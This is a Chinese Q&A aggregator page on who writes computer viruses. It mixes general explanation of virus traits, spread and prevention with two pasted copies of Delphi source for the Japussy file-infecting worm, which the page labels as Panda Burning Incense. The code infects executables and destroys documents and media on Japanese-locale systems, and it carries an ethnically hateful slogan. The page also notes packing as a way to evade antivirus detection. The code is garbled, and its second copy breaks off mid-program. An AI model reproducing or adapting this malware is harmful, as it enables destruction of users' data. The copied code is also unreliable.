导航:首页 > 程序命令 > 程序员写病毒

程序员写病毒

发布时间:2022-11-28 18:47:41

1. 别人是怎么样放病毒让我们中毒的他们又怎么样造病毒的

有很多种方法,最多的就是捆绑软件,当你下载那个带毒的软件安装时,病毒也开始在你系统里扩散;还有就是网页挂马,当你进入挂马网站时,木马就会通过浏览器缓存的漏洞进去你的系统;还有就是通过区域网络传播等等。
病毒说白了就是一段程序而已。能写程序就能造病毒,只不过是造出的病毒杀伤力的大小不同而已。

2. 计算机病毒

电脑病毒是指具有不良特征的计算机程序。

法律定义
以下内容是中国大陆的电脑病毒的法律定义,司法部门凭这个就可以逮捕病毒制作和散播者。

1994年2月18日《中华人民共和国计算机信息系统安全保护条例》第二十八条[1]

计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。

电脑病毒的定义一直存在着争议,不少人包括世界各国的反病毒厂商都将基于网络的木马、后门程序以及恶意软件也归在电脑病毒之列查杀。

中国互联网协会关于恶意软件的定义[2]

恶意软件是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵犯用户合法权益的软件,但已被我国现有法律法规规定的计算机病毒除外。

历史
“病毒”一词最早用来表达此意是在弗雷德·科恩(Fred Cohen)1984年的论文《电脑病毒实验》。而病毒一词广为人知是得力于科幻小说。一部是70年代中期大卫·杰洛德(David Gerrold)的《When H.A.R.L.I.E. was One》,描述了一个叫“病毒”的程序和与之对战的叫“抗体”的程序;另一部是约翰·布鲁勒尔(John Brunner)1975年的小说《乘波者》,描述了一个叫做“磁带蠕虫”、在网络上删除数据的程序。[1]

20世纪60年代初,美国麻省理工学院的一些青年研究人员,在做完工作后,利用业务时间玩一种他们自己创造的计算机游戏。做法是某个人编制一段小程序,然后输入到计算机中运行,并销毁对方的游戏程序。而这也可能就是计算机病毒的雏形。

据某计算机安全公司的估算,目前全世界现有20万有能力写较成熟电脑病毒的程序员

运行环境
由于世界操作系统90%的市场都由微软Windows系列垄断[2][3] ,所以病毒作者纷纷把病毒针对对象攻击目标选为Windows,制作病毒者首先应该确定要攻击的操作系统版本有何漏洞,这才是他所写的病毒能够利用的关键。至于Linux、Mac OS等使用人群少的操作系统,能够感染的病毒实在是少的可怜,但这并不说明它系统很完美,只能说用的人群少,病毒作者们认为它们没有“攻击价值”罢了,病毒作者大多发布病毒的目的是想出名[4],如果将病毒发布到冷门操作系统下,很可能会导致他的“杰作”被“埋没”,这是病毒作者们最不愿意的。曾有一个为企业修改版的Linux自称无病毒的操作系统,没出几天就得到了黑客们发现漏洞并给以在该系统运行环境下病毒大面积传播的回击,所以说暂时还没有计算机病毒不能诞生和生存的运行环境。

特征
在计算机科学里,电脑病毒是类似生物病毒一样的程序,它会复制自己并传播到其他宿主,并对宿主造成损害。宿主也是程序,通常是操作系统,从而进一步传染到其他程序、其他的电脑。电脑病毒在传播期间一般会隐蔽自己,由特定的条件触发,并开始产生破坏。[5]

电脑病毒具有的不良特征有传播性、隐蔽性、感染性、潜伏性、可激发性[6]、表现性或破坏性,通常只表现两种以上所述的特征就可以认定该程序是病毒。

主要特征详解

传播性
病毒一般会自动利用25电子邮件端口传播,利用对象为微软操作系统捆绑的Outlook的某个漏洞。将病毒自动复制并群发给存储的通讯录名单成员。邮件标题较为吸引人点击,大多利用社会工程学如“亲爱的”这样家人朋友之间亲密的话语,以降低人的警戒性。如果病毒制作者再应用脚本漏洞,将病毒直接嵌入邮件中,那么用户一点邮件标题打开邮件就会中病毒,这比引诱用户先去打开邮件然后再下载病毒附件再去运行的方法要高明的多。

隐蔽性
病毒大多用C语言编写,最大的病毒不过1MB,一般的病毒仅在1KB左右,这样除了传播快速之外,隐蔽性也极强。部分病毒使用“无进程”技术或插入到某个系统必要的关键进程当中去,所以在任务管理器中找不到它的单独运行进程。而病毒自身一旦运行后,就会自己修改自己的文件名并隐藏在某个用户不常去的系统文件夹中,这样的文件夹通常有上千个系统文件,如果凭手工查找很难找到病毒。而病毒在运行前的伪装技术也不得不值得我们关注,将病毒和一个吸引人的文件捆绑合并成一个文件,那么运行正常吸引他的文件时,病毒也在我们的操作系统中悄悄的运行了。

感染性
某些病毒具有感染性,比如感染中毒用户计算机上的可执行文件,如exe、dll,scr格式,通过这种方法达到自我复制,对自己生存保护的目的,类似于生物病毒的生殖中的克隆过程。通常也可以利用网络共享的漏洞,复制并传播给邻近的计算机用户群,使邻里通过路由器上网的计算机或网吧的计算机的多台计算机的程序全部受到感染。

潜伏性
部分病毒有一定的“潜伏期”,在特定的日子,如某个节日或者星期几按时爆发。如1999年的刷BIOS的着名病毒CIH病毒就在每年的4月26日爆发。如同生物病毒一样,这使电脑病毒可以在爆发之前以最大幅度散播开去。

可激发性
根据病毒作者的“需求”,设置触发病毒攻击的“玄机”。如CIH病毒的制作者陈盈豪曾打算设计的病毒,就是“精心”为简体中文Windows系统所设计的。病毒运行后会主动检测中毒者操作系统的语言,如果发现操作系统语言为简体中文,病毒就会自动对计算机发起攻击,而语言不是简体中文版本的Windows,那么你即使运行了病毒,病毒也不会对你的计算机发起攻击或者破坏。[7]

表现性
病毒运行后,如果按照作者的设计,会有一定的表现特征,如CPU占用率100%,在用户无任何操作下读写硬盘或其他磁盘数据,蓝屏死机,鼠标右键无法使用等。但这样明显的表现特征反倒帮助被感染病毒者发现自己已经感染病毒并清除病毒很有帮助,隐蔽性就不存在了。

破坏性
某些威力强大的病毒,运行后直接格式化用户的硬盘数据,更为厉害一些的如CIH可以刷BIOS。一般病毒的破坏对象都集中在对操作系统和硬盘数据的破坏上。但近年来有个别极为强大的病毒,已经开始将攻击对象瞄准向了计算机硬件,以损毁硬件为破坏目标,一般应用的主要原理是攻击硬件的频繁工作如执行大量垃圾程序反复重起进入重新启动操作系统循环或硬件的超负荷超电压工作如超频。

分类

脚本病毒
主条目:宏病毒

宏病毒的感染对象为高级办公系列软件,如Microsoft Word,Excel这些办公软件本身支持运行命令,所以也被Office文档中含有恶意的宏病毒所利用。openoffice.org对宏的支持不完善,所以含有宏病毒的文档在openoffice.org下打开后病毒无法运行。
脚本木马,是针对用脚本语言编译论坛或动态页面时疏忽有可上传漏洞时使用的木马,可以将它上传后进而控制整个服务器的硬盘数据。

木马
主条目:特洛伊木马

一般也叫远程监控软件,如果木马能连通的话,那么可以说已经得到了远程计算机的全部操作权限,操作远程计算机与操作自己计算机没什么大的区别,这类程序可以监视被控用户的摄像头与截取密码。而Windows NT以后的版本自带的“远程桌面连接”,如果被不良用户利用的话,那么也与木马没什么区别。

恶意程序
主条目:蠕虫病毒

蠕虫病毒漏洞利用类,也是我们最熟知的病毒,通常在全世界范围内大规模爆发的就是它了。如针对旧版本未打补丁的Windows XP的冲击波病毒和震荡波病毒。
间谍软件和流氓软件,是部分不良网络公司出品的一种收集用户浏览网页习惯而制订自己广告投放策略的软件。这种软件本身对计算机的危害性不是很大,只是中毒者隐私遭到泄露和一旦安装上它就无法删除卸载了。
恶作剧软件,如破坏性很大的“格盘炸弹”,运行程序后自动格式化硬盘,原本只为“愚人”目的,但这种恶意程序运行后就会对用户重要数据造成很大的损失。

免杀技术以及新特征
免杀是指对病毒的处理使之躲过杀毒软件查杀的一种技术。通常病毒刚从病毒作者手中传播出去前,本身就是免杀的,甚至可以说“病毒比杀毒软件还新,所以杀毒软件根本无法识别它是病毒”,但由于传播后部分用户中毒向杀毒软件公司举报的原因,就会引起安全公司的注意并将之特征码收录到自己的病毒库当中,病毒就会被杀毒软件所识别。

病毒作者可以通过对病毒进行再次保护如使用汇编技术或者给文件加壳就可以轻易躲过杀毒软件的病毒特征码库而免于被杀毒软件查杀。

罗马尼亚的BitDefender,俄罗斯的Kaspersky Anti-Virus,欧洲的NOD32,以及美国的Norton Antivirus,McAfee等产品在国际上口碑较好,但杀毒、查壳能力都有限,目前病毒库总数量也都仅在50万左右。

自我更新性是近年来病毒的又一新特征。病毒可以借助于网络进行变种更新,得到最新的免杀版本的病毒并继续在用户感染的计算机上运行。

除了自身免杀自我更新之外,个别病毒还具有了对抗它的“天敌”杀毒软件和防火墙产品反反病毒软件的全新特征,只要病毒运行后,病毒会自动破坏中毒者计算机上安装的杀毒软件和防火墙产品,导致病毒生存能力更加强大。

防范
安装并及时更新杀毒软件与防火墙产品
保持最新病毒库以便能够查出最新的病毒,如卡巴斯基反病毒软件的升级服务器每3小时就有新病毒库包可供用户更新。而在防火墙的使用中应注意到禁止来路不明的软件访问网络。
修补操作系统以及其捆绑的软件的漏洞
主条目:Microsoft Update

打系统以及其捆绑的软件如Internet Explorer、Windows Media Player的漏洞安全补丁,以操作系统Windows为例Windows NT以及以下版本可以在Microsoft Update补丁系统,Windows 2000SP2以上,Windows XP以及Windows 2003等版本可以用系统的“自动补丁”程序下载补丁进行安装。关闭系统默认网络共享,防止局域网入侵或蠕虫传播。
不要点来路不明连接以及运行不明程序[8]
来路不明的连接很可能是蠕虫病毒自动通过电子邮件或即时通讯软件发过来的,如QQ病毒之一的QQ尾巴,大多这样信息中所带连接指向都是些利用IE浏览器漏洞的网站,用户访问这些网站后不用下载直接就可能会中更多的病毒。另外不要运行来路不明的程序,如一些“性诱惑”的文件名骗人吸引人去点击,点击后病毒就在系统中运行了。
建议安装冷门操作系统或侦测类工具包
主条目:后门

冷门操作系统,很少会有病毒作者去思考如何在这样的环境下爆发他设计的病毒,当然应用于服务器市场的Linux和FreeBSD就不能算服务器市场的冷门了,如果个人用户觉得Linux不错的话,建议安装免费的Redhat发行版的Linux,开放源代码的操作系统漏洞被检测出来的很多,这样在实际运行中漏洞就会很少。因为后门如下载者或盗密码软件,大多可以因为防火墙自身的原理而穿过网络防火墙,安装着网络防火墙也没什么用,所以建议安装嗅探类工具,分析网络数据包,这样您所处在的网络会非常安全。

3. 计算机病毒会自动生成吗

您好


1,计算机病毒其实同样是一种电脑程序,只是带有恶意性,电脑中是不会自动生成的可以放心,这个得有特殊编写才可以。


2,您可以到电脑管家官网下载一个电脑管家。


3,它可以很好的保护您的电脑系统安全哦,一共有16层实时防护全方位保护您的电脑。


4,而且同样带有杀毒功能,如果您的电脑中毒了,可以使用电脑管家的杀毒功能进行全盘查杀。

如果还有其他疑问和问题,欢迎再次来电脑管家企业平台进行提问,我们将尽全力为您解答疑难

4. 病毒是谁写的

一些会编程类的人员!!
"病毒"就是一种程序,你会写程序就会写病毒.
程序员差不多都会写病毒吧!
只不过品行好的,就写程序帮助大家.
而写病毒的人,要么觉得好玩,要么内心放不开,找不到展示自己的时间与地点
所以它们误入歧途了...写些病毒来危害大家的正常生活...
当然,也有些黑客也是劫富济贫....不过很少...

5. 什么计算机语言可以写病毒

写病毒的话
不用JAVA 语言
C语写的也不好
用dephi
下面给你看用dephi写熊猫病毒的源码
有注解

【熊猫烧香的病毒源码】
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE文件主图标的大小744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = 444444; //感染标记
//无用码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stDCall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文版操作系统标记
{ 判断是否为windows 9.X版本 }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procere SendMail;
begin
//邮件终止
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to 8 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //小于10240的文件不被感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := 444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入无用码后删除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //获取文件大小
i := 0;
Randomize;
Max := Random(15); //写入无用码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入无用码,将文件彻底破坏!
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除
except
end;
end;
{ 获得可以写入的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序并开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
CMD命令 shutdown -a //取消计算机中病毒后的倒记时关机。

学习是好事 但不要去做坏事。
熊猫烧香的病毒作者 就得到了 法律的惩罚
所以千万别做违法的事情。

6. 电脑病毒代码

不行的 得用虚拟机才可以测试病毒代码 无需下载,把下面这段代码复制到记事本里,保存为文本文件
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

熊猫烧香
ogram Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procere SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr '.') and
(SearchRec.Name > '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name > '.') and
(SearchRec.Name > '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) > 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) > 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
